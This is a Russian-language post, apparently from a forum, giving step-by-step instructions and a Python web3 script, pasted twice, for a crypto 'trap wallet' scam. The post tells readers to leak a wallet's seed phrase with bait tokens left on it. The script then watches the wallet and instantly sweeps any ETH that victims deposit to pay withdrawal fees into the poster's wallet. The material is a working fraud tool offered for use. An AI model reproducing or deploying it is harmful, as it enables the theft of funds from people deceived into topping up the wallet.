Скрипт-ловушка Логика проста: Оставляем на кошельке любую монету, для вывода которой нужно оплатить комиссию в эфире, например wETH. Остатки эфира, выводим под 0. Настраиваем скрипт. Указываем адрес и приватный ключ кошелька-ловушки, и адрес кошелька куда будем выполнять перевод. Ставим всё на дедик или хостинг, чтоб работал 24/7. Делимся фразой востановления любым извествным способом. Если кто-то захочет вывести ваши монеты, ему придётся закинуть эфир. При пополнении кошелька, весь эфир сразу будет выведен на второй кошелёк. Скрипт реализован на python. Для работы нужно установить библиотеку web3, и получить api на https://infura.io/ Простой спобос установки: Ставим питон Ставим редактор Ставим библиотеку web3. Запускаем cmd. Вводим туда "pip install web3" Регаем api на https://infura.io/ Открывем редактор. Вставляем код. Изменяем всё на свои данные (api, адреса, приватный ключ) Запускаем на "ctrl + b" Собственно, сам код: import os from web3 import Web3 from time import sleep # функция перевода средств def send_money(nonce, to_a, value, gasPrice): global private_key global w3 global bot tx = { 'nonce':nonce, 'to':to_a, 'value':value, 'gas':21000, 'gasPrice':gasPrice } signed_tx = w3.eth.account.signTransaction(tx, private_key) tx_hash = w3.eth.sendRawTransaction(signed_tx.rawTransaction) print('Перевод выполнен: ' + tx_hash.hex()) # api Infura (регать тут https://infura.io/) w3 = Web3(Web3.HTTPProvider('https://mainnet.infura.io/v3/***********')) # на этот адрес будет пересылаться эфир to_a = Web3.toChecksumAddress('0x*********************************') # адрес и приватный ключ кошелька, с которого будет отправляться эфир from_a = Web3.toChecksumAddress('*********************************') private_key = '**************************************************************' last_balance = -1 print('Start') while 1: try: # запрос баланса кошелька-ловушки balance = w3.eth.getBalance(from_a) if last_balance == balance: continue else: last_balance = balance nonce = w3.eth.getTransactionCount(from_a) gas_price = w3.eth.gas_price # подбор оптимальной комиссии для более быстрой отправки cur_gas_price = gas_price * 3 gp = cur_gas_price * 21000 value = balance - gp if value >= 0: send_money(nonce, to_a, value, cur_gas_price) continue cur_gas_price = gas_price * 2 gp = cur_gas_price * 21000 value = balance - gp if value >= 0: send_money(nonce, to_a, value, cur_gas_price) continue cur_gas_price = w3.eth.gas_price gp = cur_gas_price * 21000 value = balance - gp if value >= 0: send_money(nonce, to_a, value, cur_gas_price) continue cur_gas_price = gas_price gp = cur_gas_price * 21000 value = balance - gp if value >= 0: send_money(nonce, to_a, value, cur_gas_price) continue cur_gas_price = 40000000000 gp = cur_gas_price * 21000 value = balance - gp if value >= 0: send_money(nonce, to_a, value, cur_gas_price) continue cur_gas_price = 30000000000 gp = cur_gas_price * 21000 value = balance - gp if value >= 0: send_money(nonce, to_a, value, cur_gas_price) continue except Exception as e: print('error: ' + str(e)) finally: sleep(2) Код import os from web3 import Web3 from time import sleep # функция перевода средств def send_money(nonce, to_a, value, gasPrice): global private_key global w3 global bot tx = { 'nonce':nonce, 'to':to_a, 'value':value, 'gas':21000, 'gasPrice':gasPrice } signed_tx = w3.eth.account.signTransaction(tx, private_key) tx_hash = w3.eth.sendRawTransaction(signed_tx.rawTransaction) print('Перевод выполнен: ' + tx_hash.hex()) # api Infura (регать тут https://infura.io/) w3 = Web3(Web3.HTTPProvider('https://mainnet.infura.io/v3/***********')) # на этот адрес будет пересылаться эфир to_a = Web3.toChecksumAddress('0x*********************************') # адрес и приватный ключ кошелька, с которого будет отправляться эфир from_a = Web3.toChecksumAddress('*********************************') private_key = '**************************************************************' last_balance = -1 print('Start') while 1: try: # запрос баланса кошелька-ловушки balance = w3.eth.getBalance(from_a) if last_balance == balance: continue else: last_balance = balance nonce = w3.eth.getTransactionCount(from_a) gas_price = w3.eth.gas_price # подбор оптимальной комиссии для более быстрой отправки cur_gas_price = gas_price * 3 gp = cur_gas_price * 21000 value = balance - gp if value >= 0: send_money(nonce, to_a, value, cur_gas_price) continue cur_gas_price = gas_price * 2 gp = cur_gas_price * 21000 value = balance - gp if value >= 0: send_money(nonce, to_a, value, cur_gas_price) continue cur_gas_price = w3.eth.gas_price gp = cur_gas_price * 21000 value = balance - gp if value >= 0: send_money(nonce, to_a, value, cur_gas_price) continue cur_gas_price = gas_price gp = cur_gas_price * 21000 value = balance - gp if value >= 0: send_money(nonce, to_a, value, cur_gas_price) continue cur_gas_price = 40000000000 gp = cur_gas_price * 21000 value = balance - gp if value >= 0: send_money(nonce, to_a, value, cur_gas_price) continue cur_gas_price = 30000000000 gp = cur_gas_price * 21000 value = balance - gp if value >= 0: send_money(nonce, to_a, value, cur_gas_price) continue except Exception as e: print('error: ' + str(e)) finally: sleep(2) Спасибо. Удачи.